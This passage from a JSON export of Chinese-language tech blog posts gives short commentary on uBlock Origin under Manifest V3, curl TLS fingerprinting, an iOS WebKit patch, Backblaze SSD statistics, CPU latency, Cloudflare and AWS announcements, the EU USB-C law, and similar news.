/></picture>\r\n\r\n以及這張圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/sjWZTjm.webp\" /><img src=\"https://i.gslin.com/imgur/sjWZTjm.jpg\" alt=\"\" /></picture>\r\n\r\n這樣可玩性又多了不少...",
    "title": "這兩個禮拜爆紅的 Stable Diffusion"
  },
  {
    "id": "10880",
    "body": "前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=32754274\">“UBO Minus (MV3)” – An Experimental uBlock Origin Build for Manifest V3 (github.com/gorhill)</a>」這個，裡面是 <a href=\"https://en.wikipedia.org/wiki/UBlock_Origin\">uBlock Origin</a> 的作者 Raymond Hill 針對 <a href=\"https://developer.chrome.com/docs/extensions/mv3/intro/\">Manifest V3</a> 的半殘版，取名為 uBO Minus (MV3)：「<a href=\"https://github.com/gorhill/uBlock/commit/a559f5f2715c58fea4de09330cf3d06194ccc897\">Add experimental mv3 version</a>」。\r\n\r\n在這個版本裡會有不少的功能失效，尤其是用的很多的 cosmetic filtering：\r\n\r\n<pre>- No cosmetic filtering (##)\r\n- No scriptlet injection (##+js)\r\n- No redirect= filters\r\n- No csp= filters\r\n- No removeparam= filters</pre>\r\n\r\n這個版本應該是打算要提供給 Manifest V2 被 <a href=\"https://www.google.com/\">Google</a> 廢掉後還在用 Google 控制的瀏覽器的人，依照「<a href=\"https://developer.chrome.com/docs/extensions/mv3/mv2-sunset/\">Manifest V2 support timeline</a>」這邊看起來是明年一月：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5OsIVca.webp\" /><img src=\"https://i.gslin.com/imgur/5OsIVca.png\" alt=\"\" /></picture>",
    "title": "因應 Manifest V3 而推出的 uBlock Minus (MV3)"
  },
  {
    "id": "10881",
    "body": "看到「<a href=\"https://daniel.haxx.se/blog/2022/09/02/curls-tls-fingerprint/\">curl's TLS fingerprint</a>」這篇，<a href=\"https://curl.se/\">cURL</a> 的作者 <a href=\"https://en.wikipedia.org/wiki/Daniel_Stenberg\">Daniel Stenberg</a> 提到 TLS fingerprint。\r\n\r\n先前在「<a href=\"https://blog.gslin.org/archives/2022/02/18/10561/%E4%BF%AE%E6%AD%A3-curl-%E7%9A%84-tls-handshake%EF%BC%8C%E9%81%BF%E9%96%8B-bot-%E5%81%B5%E6%B8%AC%E6%A9%9F%E5%88%B6/\">修正 Curl 的 TLS handshake，避開 bot 偵測機制</a>」與「<a href=\"https://blog.gslin.org/archives/2022/03/03/10577/curl-%E7%9A%84-tls-fingerprint-%E5%81%BD%E8%A3%9D%E5%B0%88%E6%A1%88-curl-impersonate-%E6%94%AF%E6%8F%B4-chrome-%E4%BA%86/\">curl 的 TLS fingerprint 偽裝專案 curl-impersonate 支援 Chrome 了</a>」這邊有提到 <a href=\"https://github.com/lwthiker/curl-impersonate\">curl-impersonate</a> 這個專案，試著在 cURL 裡模擬市面上常見的瀏覽器的 TLS fingerprint。\r\n\r\n在 Daniel Stenberg 的文章裡面也有提到這件事情，另外也提到了對 curl-impersonate 的態度：\r\n\r\n<blockquote>I cannot say right now if any of the changes done for curl-impersonate will get merged into the upstream curl project, but it will also depend on what users want and how the use of TLS fingerprinting spread or changes going forward.</blockquote>\r\n\r\n看起來短期內他是沒打算整，跟當初 curl-impersonate 的預期差不多...",
    "title": "cURL 的 TLS fingerprint"
  },
  {
    "id": "10882",
    "body": "早上發現 <a href=\"https://en.wikipedia.org/wiki/IPhone_6\">iPhone 6</a> Plus 被自動更新到 <a href=\"https://en.wikipedia.org/wiki/IOS_12\">iOS 12</a>.5.6，查了一下發現是八月底的時候 <a href=\"https://www.apple.com/\">Apple</a> 推了一版 <a href=\"https://en.wikipedia.org/wiki/WebKit\">WebKit</a> 的 <a href=\"https://en.wikipedia.org/wiki/Arbitrary_code_execution\">ACE</a>，<a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-32893\">CVE-2022-32893</a>：「<a href=\"https://support.apple.com/en-us/HT213428\">About the security content of iOS 12.5.6</a>」。\r\n\r\n<blockquote>Impact: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\r\n\r\nDescription: An out-of-bounds write issue was addressed with improved bounds checking.</blockquote>\r\n\r\n上個更新的版本 12.5.5 是 2021/09/23 出的，本來大家都以為已經沒有任何更新了，沒想到居然回過頭來發了一包，照蘋果的敘述看起來是因為這個洞被廣泛使用的關係？\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/IPhone_5S\">iPhone 5S</a> (目前 iOS 12 支援列表裡最早出的手機) 是 2013 下半年出的，到現在也九年了...",
    "title": "iOS 12.5.6"
  },
  {
    "id": "10884",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 發了一篇對 SSD 存活率的報告：「<a href=\"https://www.backblaze.com/blog/ssd-drive-stats-mid-2022-review/\">The SSD Edition: 2022 Drive Stats Mid-year Review</a>」，報告分成兩大塊，一塊是單講 SSD 的，另外一塊是跟傳統磁頭硬碟 HDD 比較。\r\n\r\n首先是這張總表，從 2018 年到現在的 SSD 硬碟的 <a href=\"https://en.wikipedia.org/wiki/Annualized_failure_rate\">AFR</a> 資料：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DqAdVM6.webp\" /><img src=\"https://i.gslin.com/imgur/DqAdVM6.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到有特地標出信賴區間，因為對於某些量真的太少的型號，算出來的 AFR 沒有太大意義，所以重點只有在幾個數量比較多的型號。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fWluwqD.webp\" /><img src=\"https://i.gslin.com/imgur/fWluwqD.png\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://www.seagate.com/\">Seagate</a> 的 ZA250CM10003 最多，AFR 是 0.70% (CI 在 0.3%-1.3%)；接下來是 Seagate 的 ZA250CM10002，AFR 是 0.78% (CI 在 0.4%-1.4%)。\r\n\r\n第三多的是 <a href=\"https://www.dell.com/\">Dell</a> 的 DELLBOSS VD，AFR 是 0% (CI 在 0.0%-0.8%)，不過要注意這是 M.2 界面，而且是 server 等級：\r\n\r\n<blockquote>It is a server-class drive in an M.2 form factor, but it might be out of the price range for many of us as it currently sells from Dell for $468.65.</blockquote>\r\n\r\n接下來是比較 SSD 與 HDD。這邊的比較中，兩者都是相同的用途 (開機碟 &amp; 系統碟)：\r\n\r\n<blockquote>The SSDs and HDDs we are reporting on are all boot drives. They perform the same functions: booting the storage servers, recording log files, acting as temporary storage for SMART stats, and so on.</blockquote>\r\n\r\n因為 SSD 目前只有五年的記錄，可以看到如果只比較五年的話，SSD 的 AFR 是比 HDD 好上不少的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qYPIVCu.webp\" /><img src=\"https://i.gslin.com/imgur/qYPIVCu.jpg\" alt=\"\" /></picture>\r\n\r\n不過這邊還是以機房環境來說明，像是機櫃的振動與使用的 pattern 都是可以想到的因素。一般的情況下，如果沒有一堆 HDD 在 JBOD 裡面振動的話，是不是可以活比較久就不知道了...\r\n\r\n但現在開機碟用 HDD 應該也會開到天花地老，好像也沒有什麼特別的理由會換回 HDD...",
    "title": "Backblaze 對 SSD 存活率的報告"
  },
  {
    "id": "10886",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=32889337\">Measuring CPU core-to-core latency (github.com/nviennot)</a>」這篇，專案在「<a href=\"https://github.com/nviennot/core-to-core-latency\">Measuring CPU core-to-core latency</a>」這裡，看起來是個有趣的研究，測試許多不同 CPU 內，跨 core 之間溝通的時間花費。\r\n\r\n依照專案的說明，測試的方式是利用 <a href=\"https://en.wikipedia.org/wiki/Cache_coherence\">cache coherence</a> 來來量測：\r\n\r\n<blockquote>We measure the latency it takes for a CPU to send a message to another CPU via its cache coherence protocol.\r\n\r\nBy pinning two threads on two different CPU cores, we can get them to do a bunch of compare-exchange operation, and measure the latency.</blockquote>\r\n\r\n裡面已經測了很多不同的 CPU，然後可以看到一些有趣的結果。\r\n\r\n像是第一張圖片的「Intel Core i9-12900K @ 8+8 Cores (Alder Lake, 12th gen) 2021-Q4」這組，大家還蠻好奇 CPU #8 到底是怎麼一回事，跨 core 溝通的 latency 特別低，還特別找了 CPU 的 die 圖片看看：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/exMryP7.webp\" /><img src=\"https://i.gslin.com/imgur/exMryP7.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/w8CYIjY.webp\" /><img src=\"https://i.gslin.com/imgur/w8CYIjY.jpg\" alt=\"\" /></picture>\r\n\r\n另外一個是 <a href=\"https://aws.amazon.com/\">AWS</a> 上的 <code>c6a.metal</code>，機種是「AMD EPYC 7R13 @ 48 Cores (Milan, 3rd gen) 2021-Q1」，可以看到被分成了六個區塊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/V01Ud2U.webp\" /><img src=\"https://i.gslin.com/imgur/V01Ud2U.png\" alt=\"\" /></picture>\r\n\r\n接下來在 <a href=\"https://www.arm.com/\">ARM</a> 平台，在更多 CPU core 的 <code>c7g.16xlarge</code> 上，機種「AWS Graviton3 @ 64 Cores (Arm Neoverse, 3rd gen) 2021-Q4」，會看到更多不平均的現象：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wtyR8E5.webp\" /><img src=\"https://i.gslin.com/imgur/wtyR8E5.png\" alt=\"\" /></picture>\r\n\r\n早一點的 <code>c6gd.metal</code> 雖然也還是 ARM 的 64 cores 機種「AWS Graviton2 @ 64 Cores (Arm Neoverse, 2nd gen) 2020-Q1」，但可以看到很不一樣的 latency pattern：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OmDw1zk.webp\" /><img src=\"https://i.gslin.com/imgur/OmDw1zk.png\" alt=\"\" /></picture>\r\n\r\n大致上可以感覺到當 core 數愈多就會有很多技術上的瓶頸，導致不同 core 之間的溝通成本不一樣... 這個感覺跟當初學到 <a href=\"https://en.wikipedia.org/wiki/Non-uniform_memory_access\">NUMA</a> 的情況有點像。",
    "title": "CPU Core 之間溝通的時間成本"
  },
  {
    "id": "10888",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=32956964\">The image in this post displays its own MD5 hash (retr0.id)</a>」這篇，作者想要產生一張 <a href=\"https://en.wikipedia.org/wiki/Portable_Network_Graphics\">PNG</a> 圖，這張圖的 <a href=\"https://en.wikipedia.org/wiki/MD5\">MD5</a> 值就在圖片上呈現。然後作者本人有出現在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 討論串上面，提到流量撐不住，所以丟到 <a href=\"https://twitter.com/\">Twitter</a> 上面 (而很幸運的，Twitter 沒有壓這張圖，是保留原圖，所以可以驗證 MD5)：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">The image in this tweet displays its own MD5 hash.<br><br>You can download and hash it yourself, and it should still match - 1337e2ef42b9bee8de06a4d223a51337<br><br>I think this is the first PNG/MD5 hashquine. <a href=\"https://t.co/khj8tnEYuF\">https://t.co/khj8tnEYuF</a> <a href=\"https://t.co/3Aw8F823MZ\">pic.twitter.com/3Aw8F823MZ</a></p>&mdash; David Buchanan (@David3141593) <a href=\"https://twitter.com/David3141593/status/1573218394358386688?ref_src=twsrc%5Etfw\">September 23, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n另外一個有趣的主題是同時撞出一樣的 MD5 與 <a href=\"https://en.wikipedia.org/wiki/CRC32\">CRC32</a> 的方式，其中 CRC32 的部份還可以直接指定值，在「<a href=\"https://news.ycombinator.com/item?id=32956235\">MD5 Collision with CRC32 Preimage (gist.github.com)</a>」這邊。\r\n\r\n算是很趣味的玩法啦，畢竟 MD5 已經被大家知道是個 broken cryptographic hash function...",
    "title": "在圖片裡面放入圖片本身的 MD5 值"
  },
  {
    "id": "10890",
    "body": "看到「<a href=\"https://www.cloudflarestatus.com/incidents/b8r6fczvzds2\">Network Performance Issues in Kaohsiung City, Taiwan</a>」這個發現 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 有了高雄節點，但不確定是什麼時候，所以去 <a href=\"https://web.archive.org/\">Internet Archive</a> 上翻，發現應該就是這幾天的事情...\r\n\r\n9/20 的 <a href=\"https://web.archive.org/web/20220920130956/https://www.cloudflarestatus.com/\">20220920130956</a> 版本還沒有高雄，但到了 9/25 的 <a href=\"https://web.archive.org/web/20220925191430/https://www.cloudflarestatus.com/\">20220925191430</a> 就出現了。\r\n\r\n手上沒有高雄的機器可以測，明天來問問看高雄的朋友好了...",
    "title": "Cloudflare 新增高雄節點"
  },
  {
    "id": "10891",
    "body": "前幾天在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看的文章：「<a href=\"https://news.ycombinator.com/item?id=32923226\">Effects of grill patterns on fan performance/noise (2011) (pugetsystems.com)</a>」，原文在「<a href=\"https://www.pugetsystems.com/labs/articles/Effects-of-Grill-Patterns-on-Fan-Performance-Noise-107/\">Effects of Grill Patterns on Fan Performance/Noise</a>」。文章在講電腦風扇的出風口擋板的樣式對噪音的影響。這是一篇 2011 的老文章，但看了一下好像沒有什麼新資料...\r\n\r\n出風口的遮罩在有些地區似乎是法律要求，主要是怕小朋友手指戳進去，以及成年人不小心碰到，所以就會有專門的測試項目在跑：\r\n\r\n<blockquote>I remember back in 2000 ish I worked in R&amp;D of a PC manufacturer and had to check the new PSUs and cases with a 'Test Finger' to make sure all the holes were small enough. The test finger was really expensive IIRC.</blockquote>\r\n\r\n但回到這篇的重點，噪音與風量的差異，所以基準值是拔掉遮罩的部份先測試 (所以可以知道最低的噪音與最大的風量)，然後上各種遮罩測差異。\r\n\r\nMesh 增加的噪音是最少，但風量有點差：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/13Ow1Ue.webp\" /><img src=\"https://i.gslin.com/imgur/13Ow1Ue.jpg\" alt=\"\" /></picture>\r\n\r\nWire 增加的噪音也很少，風量也達到最高：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/YiDl4kl.webp\" /><img src=\"https://i.gslin.com/imgur/YiDl4kl.jpg\" alt=\"\" /></picture>\r\n\r\n從倒數的方向來看，Turbine 是最吵風量也最少的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/7BT8Hf8.webp\" /><img src=\"https://i.gslin.com/imgur/7BT8Hf8.jpg\" alt=\"\" /></picture>\r\n\r\n發現比較差的遮罩增加的噪音不算少，把很多風的動能變成聲音的能量了...",
    "title": "風扇的出風孔的遮罩，不同形狀產生噪音的差異"
  },
  {
    "id": "10893",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=33019316\">Native Linux GPU Driver for Apple M1 (twitter.com/linaasahi)</a>」這個，講 <a href=\"https://en.wikipedia.org/wiki/Apple_M1\">Apple M1</a> 上有 Linux GPU driver 可以用了，原文是 <a href=\"https://twitter.com/\">Twitter</a> 上的推：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">✨??IT WORKS!!!!??✨<br>?????????⚙️<br><br>GNOME runs!! Firefox works!! You can watch YouTube, play Neverball, run KDE apps, and more!! No crashes!!!??<br><br>On a native Linux GPU driver for Apple M1!!?<br><br>Check out the mini stream where I show it off!!!<br>▶️<a href=\"https://t.co/g0R1JZI6Pe\">https://t.co/g0R1JZI6Pe</a></p>&mdash; Asahi Lina / 朝日リナ //nullptr::live (@LinaAsahi) <a href=\"https://twitter.com/LinaAsahi/status/1575343067892051968?ref_src=twsrc%5Etfw\">September 29, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n不過從 <a href=\"https://www.youtube.com/\">YouTube</a> 的影片上可以看到就只是「會動」，還有不少 rendering bug，可以看到有時候會破格，但畢竟是開始支援了，後續如果有修到穩定的話，直接的好處應該就是把瀏覽器的 rendering 丟給 GPU 處理，就像 <a href=\"https://en.wikipedia.org/wiki/macOS\">macOS</a> 或是 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Windows\">Windows</a> 上的情況。",
    "title": "Apple M1 上跑 Linux 的 GPU driver 會動了"
  },
  {
    "id": "10894",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News Daily</a> 上看到 Show HN (作者自己或是主要的 contributor 上來發表的作品) 給了一個號稱速度很快，吃資源很少的 fuzzy search library：「<a href=\"https://news.ycombinator.com/item?id=33035580\">Show HN: uFuzzy.js – A tiny, efficient fuzzy search that doesn't suck (github.com/leeoniya)</a>」。\r\n\r\n這種已經發展許久，但突然有一天有人說他的東西超好超棒棒的，除非是有新的基礎演算法突破，不然馬上就會想到很經典的「<a href=\"https://en.wikipedia.org/wiki/Three_circles_model\">Three circles model</a>」，中間的那些區塊就懶的畫上去了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/mc1VLjh.webp\" /><img src=\"https://i.gslin.com/imgur/mc1VLjh.png\" alt=\"\" /></picture>\r\n\r\n依照他的「測試」，可以看到他宣稱完全領先的狀態：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fh30DEU.webp\" /><img src=\"https://i.gslin.com/imgur/fh30DEU.png\" alt=\"\" /></picture>\r\n\r\n但回過頭來看評論：\r\n\r\n<blockquote>Thank you for this!\r\n\r\nI am also quite frustrated with the current state of full text search in the javascript world. All libs I've tried miss the most basic examples and their community seems to ignore it. Will give yours a try but it already looks much better from the comparison page.\r\n\r\nEdit: Nope, your lib doesn't seem to handle substitution well (THE most common type of typo), so yep, we are back to square one ...</blockquote>\r\n\r\n<blockquote>From fuzzy search I expected that entering \"super meet boy\" or \"super maet boy\" will return \"Super Meat Boy\" but unfortunately currently it doesn't work this way and it's quite disappointing.\r\n\r\nhttps://leeoniya.github.io/uFuzzy/demos/compare.html?libs=uF...</blockquote>\r\n\r\n看起來這個 library 沒有辦法解決 fuzzy search 最常見的 case (小 typo)，依照範例描述的更像是 substring 搜尋加上一些額外的的功能，反而比較像是 auto completion library，或是講的比較廣一點，可以算是 auto suggestion library。\r\n\r\n不過我覺得真正的重點 (對我來說的重點) 是下面的比較表格，因為列出了目前市場上的方案，這份清單之後可以拿來參考...",
    "title": "JavaScript 上的 fuzzy search library"
  },
  {
    "id": "10895",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=33007873\">We reduced our server costs by moving away from AWS (gitconnected.com)</a>」這篇，原文在「<a href=\"https://levelup.gitconnected.com/how-we-reduced-our-annual-server-costs-by-80-from-1m-to-200k-by-moving-away-from-aws-2b98cbd21b46\">How we reduced our annual server costs by 80% — from $1M to $200k — by moving away from AWS</a>」這邊。\r\n\r\n偶而會看到這類的報導，這次是 <a href=\"https://prerender.io/\">Prerender</a> 這家的服務，從本來在 <a href=\"https://aws.amazon.com/\">AWS</a> 上的 $1m/y 降到 $200k/y (這邊都是用美金在計算)。\r\n\r\n但好像沒提到第一次投資購買硬體花了多少錢，不過就以前的經驗上來說，把每個月非人力的 <a href=\"https://en.wikipedia.org/wiki/Operating_expense\">OPEX</a> 加上 <a href=\"https://en.wikipedia.org/wiki/Capital_expenditure\">CAPEX</a> 的各種攤提，大概會是雲端的 1/3 到 1/2 的費用。\r\n\r\n近年來 <a href=\"https://kubernetes.io/\">k8s</a> 以及各種架構愈來愈完整，很多技術也都收斂，慢慢變成業界標準了，不需要自己土砲搞一堆東西而導致產生可觀的維護成本。\r\n\r\n從 <a href=\"https://crt.sh/\">crt.sh</a> 上面搜尋 <a href=\"https://crt.sh/?q=prerender.io\">prerender.io</a> 可以看到 Prerender 選擇的工具，像是在地端上面應該是用 k8s，然後有用 <a href=\"https://sentry.io/\">Sentry</a> 以及 <a href=\"https://redash.io/\">Redash</a>。\r\n\r\n這個跟當年算過的經驗類似，startup 可以先上雲端把服務做起來，雲端的擴充性對於初期的幫助會很大 (先 scale up 撐住，再改寫成可以 scale out 的版本)，而當量又大到一定程度時就反過來先問 discount，如果不滿意的話就可以規劃搬回地端。\r\n\r\nPrerender 的量看起來超過臨界值不少，搬到地端省成本應該是蠻理所當然的...",
    "title": "Prerender 從 AWS 搬回傳統機房的成本節省"
  },
  {
    "id": "10898",
    "body": "兩個禮拜前在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的東西，算是 <a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a> 對 <a href=\"https://developer.chrome.com/docs/extensions/mv3/\">Manifest V3</a> (MV3) 的另外一種嘗試：「<a href=\"https://news.ycombinator.com/item?id=32911640\">uBlock Origin Lite: Description (github.com/gorhill)</a>」，專案的說明在「<a href=\"https://github.com/gorhill/uBlock/blob/master/platform/mv3/description/en.md\">uBO Lite (uBOL), an experimental permission-less MV3 API-based content blocker.</a>」這邊。\r\n\r\n先前在「<a href=\"https://blog.gslin.org/archives/2022/09/11/10880/%e5%9b%a0%e6%87%89-manifest-v3-%e8%80%8c%e6%8e%a8%e5%87%ba%e7%9a%84-ublock-minus-mv3/\">因應 Manifest V3 而推出的 uBlock Minus (MV3)</a>」這邊提到的 <a href=\"https://github.com/gorhill/uBlock/commit/a559f5f2715c58fea4de09330cf3d06194ccc897\">uBlock Minus</a> 是在 MV3 環境下的一個嘗試，但這個版本只是把 MV3 做不到的事情先拔掉，所以缺了很多重要的功能，像是 <a href=\"https://github.com/gorhill/uBlock/wiki/Procedural-cosmetic-filters\">cosmetic filtering</a> (主要是針對瀏覽器不支援的 css selector，像是最近才剛支援的 <a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/:has\">:has()</a>，而這些 css selector 對於選擇要幹掉的 html 元素很好用)。\r\n\r\nuBO Lite 則是一個妥協，另外讓使用者對特定站台點選授權，而在這些特定授權的站台可以恢復到原來 MV2 時可以過濾的能力 (包含 cosmetic filtering 等等的能力)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ruDyydO.webp\" /><img src=\"https://i.gslin.com/imgur/ruDyydO.png\" alt=\"\" /></picture>\r\n\r\n但這個方案也是 <a href=\"https://www.google.com/\">Google</a> 所樂見的，只要不方便就會讓使用者慢慢放棄。\r\n\r\n目前的公告提到 MV2 只支援到明年一月，大概還有三四個月的時間，接下來 adblock 這塊應該會有很多新的方法陸陸續續冒出來...",
    "title": "uBO Lite：另外一個方向的嘗試"
  },
  {
    "id": "10899",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 宣佈讓所有人用 <a href=\"https://en.wikipedia.org/wiki/Role-based_access_control\">RBAC</a>：「<a href=\"https://blog.cloudflare.com/rbac-for-everyone/\">Now all customers can share access to their Cloudflare account with Role Based Access Controls</a>」。\r\n\r\n產品線夠多，所以支援的 role 也很多 (原文裡面有，另外截圖放在最後面)。\r\n\r\n看起來真正的神仙權限要開 <strong>Administrator</strong> (Can access the full account, except for membership management and billing) + <strong>Billing</strong> (Can edit the account’s billing profile and subscriptions)，但不確定 <strong>Billing</strong> 有沒有包括前面 <strong>Administrator</strong> 所去掉的「membership management」。\r\n\r\n剛好拿來當內部系統的教材 :o\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CLPgRhC.webp\" /><img src=\"https://i.gslin.com/imgur/CLPgRhC.png\" alt=\"\" /></picture>",
    "title": "Cloudflare 開放 RBAC 給所有人用"
  },
  {
    "id": "10900",
    "body": "標題資訊量有點大... 先講一下最近西洋棋界的新聞，九月的時候 <a href=\"https://en.wikipedia.org/wiki/Magnus_Carlsen\">Magnus Carlsen</a> 指控 <a href=\"https://en.wikipedia.org/wiki/Hans_Niemann\">Hans Niemann</a> 作弊，這件事情到目前還沒有完全落幕，可以翻維基百科的條目看看目前的進展：「<a href=\"https://en.wikipedia.org/wiki/Carlsen%E2%80%93Niemann_controversy\">Carlsen–Niemann controversy</a>」。\r\n\r\n而「<a href=\"https://news.ycombinator.com/item?id=33014251\">ButtFish – Transmit Morse Code of chess moves to your butt (github.com/ronsijm)</a>」這篇，則是示範怎麼用<a href=\"https://ecshweb.pchome.com.tw/search/v3.3/?q=%E8%82%9B%E5%A1%9E\">肛塞</a> (我這邊就拿 <a href=\"https://24h.pchome.com.tw/\">PChome 24h</a> 的搜尋頁，有「興趣」的可以自己翻)，加上很多情趣用品是可以透過 API 操作的 (作者提到了 <a href=\"https://buttplug.io/\">Buttplug</a> 這個專案)，於是就造就了這個新的專案：「<a href=\"https://github.com/RonSijm/ButtFish\">ButtFish</a>」，專案名稱看起來是「引用」自西洋棋領域裡很有名的 <a href=\"https://stockfishchess.org/\">Stockfish</a> 引擎。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cTUyWgY.webp\" /><img src=\"https://i.gslin.com/imgur/cTUyWgY.jpg\" alt=\"\" /></picture>\r\n\r\n另外這張 <a href=\"https://en.wikipedia.org/wiki/Three_circles_model\">Three circles model</a> 圖也很好笑：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VUcPuul.webp\" /><img src=\"https://i.gslin.com/imgur/VUcPuul.png\" alt=\"\" /></picture>\r\n\r\n不過這個方法應該過不了金屬探測器，現在的競技比賽應該都會有才對？所以這專案只是很靠背而已...\r\n\r\n專案頁面上最後面的自嘲也很好笑：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2ErzSGg.webp\" /><img src=\"https://i.gslin.com/imgur/2ErzSGg.png\" alt=\"\" /></picture>",
    "title": "用情趣用品在西洋棋比賽裡面傳遞摩斯電碼作弊"
  },
  {
    "id": "10902",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://www.macrumors.com/2022/10/04/eu-passes-law-to-switch-iphone-to-usb-c-in-2024/\">EU Passes Law to Switch iPhone to USB-C by End of 2024</a>」，裡面指到了歐盟的新聞稿：「<a href=\"https://www.europarl.europa.eu/news/en/press-room/20220930IPR41928/long-awaited-common-charger-for-mobile-devices-will-be-a-reality-in-2024\">Long-awaited common charger for mobile devices will be a reality in 2024</a>」。\r\n\r\n2024 年年底 (所以是 2025 年) 將強制手機與平板都使用 <a href=\"https://en.wikipedia.org/wiki/USB-C\">USB-C</a> 充電頭，2026 年則是延伸涵蓋到筆電：\r\n\r\n<blockquote>By the end of 2024, all mobile phones, tablets and cameras sold in the EU will have to be equipped with a USB Type-C charging port. From spring 2026, the obligation will extend to laptops.</blockquote>\r\n\r\n終於定案公告了，之前傳言好久了...",
    "title": "歐盟 2024 年年底強制使用 USB-C 充電頭 (終於，iPhone...)"
  },
  {
    "id": "10903",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 總算是宣佈啟用台北 Local Zone 了：「<a href=\"https://aws.amazon.com/blogs/aws/aws-local-zones-expansion-taipei-and-delhi/\">AWS Local Zones Expansion: Taipei and Delhi</a>」，中文的公告在「<a href=\"https://aws.amazon.com/tw/events/taiwan/news/aws-local-zone-launch-tw/\">AWS 宣布在台全新 AWS Local Zone 正式啟用</a>」。\r\n\r\n翻了一下先前的預告是六月初的時候，大概是四個月前，當時寫了「<a href=\"https://blog.gslin.org/archives/2022/06/06/10730/aws-%E5%AE%A3%E4%BD%88%E5%B0%87%E5%9C%A8%E5%8F%B0%E7%81%A3%E6%8E%A8%E5%87%BA-local-zone/\">AWS 宣佈將在台灣推出 Local Zone</a>」這篇。\r\n\r\n看 Jeff Barr 提供的 screenshot 可以看到如同先前了解的，就是掛在東京區下面 (<code>ap-northeast-1</code>)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0clRGM4.webp\" /><img src=\"https://i.gslin.com/imgur/0clRGM4.png\" alt=\"\" /></picture>\r\n\r\n比較奇怪的地方是啟用的方式，我是在在 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的 dashboard 上看到這個進去開 (然後是 Service health)，在 <a href=\"https://aws.amazon.com/vpc/\">VPC</a> 裡面反而沒看到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vurbE2X.webp\" /><img src=\"https://i.gslin.com/imgur/vurbE2X.png\" alt=\"\" /></picture>\r\n\r\n然後開了之後要等他幾分鐘啟用，不是幾秒後 refresh 就會出現，我大概等了兩分鐘，跟當初開其他 non-default region 的經驗類似：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/t2BQku2.webp\" /><img src=\"https://i.gslin.com/imgur/t2BQku2.png\" alt=\"\" /></picture>\r\n\r\n然後再回到 VPC 裡面開 subnet，開完後再回到 EC2 上開機器，流程不是很直覺。\r\n\r\n另外從「<a href=\"https://aws.amazon.com/about-aws/global-infrastructure/localzones/features/\">AWS Local Zones features</a>」這邊可以看到目前的服務有限，另外 Jeff Barr 的公告也可以看到目前台北區支援的項目：\r\n\r\n<blockquote>After you do this, you can launch Amazon Elastic Compute Cloud (Amazon EC2) instances, create Amazon Elastic Block Store (Amazon EBS) volumes,and make use of other services including Amazon Elastic Container Service (Amazon ECS), Amazon Elastic Kubernetes Service (Amazon EKS), and Amazon Virtual Private Cloud (Amazon VPC). The new Local 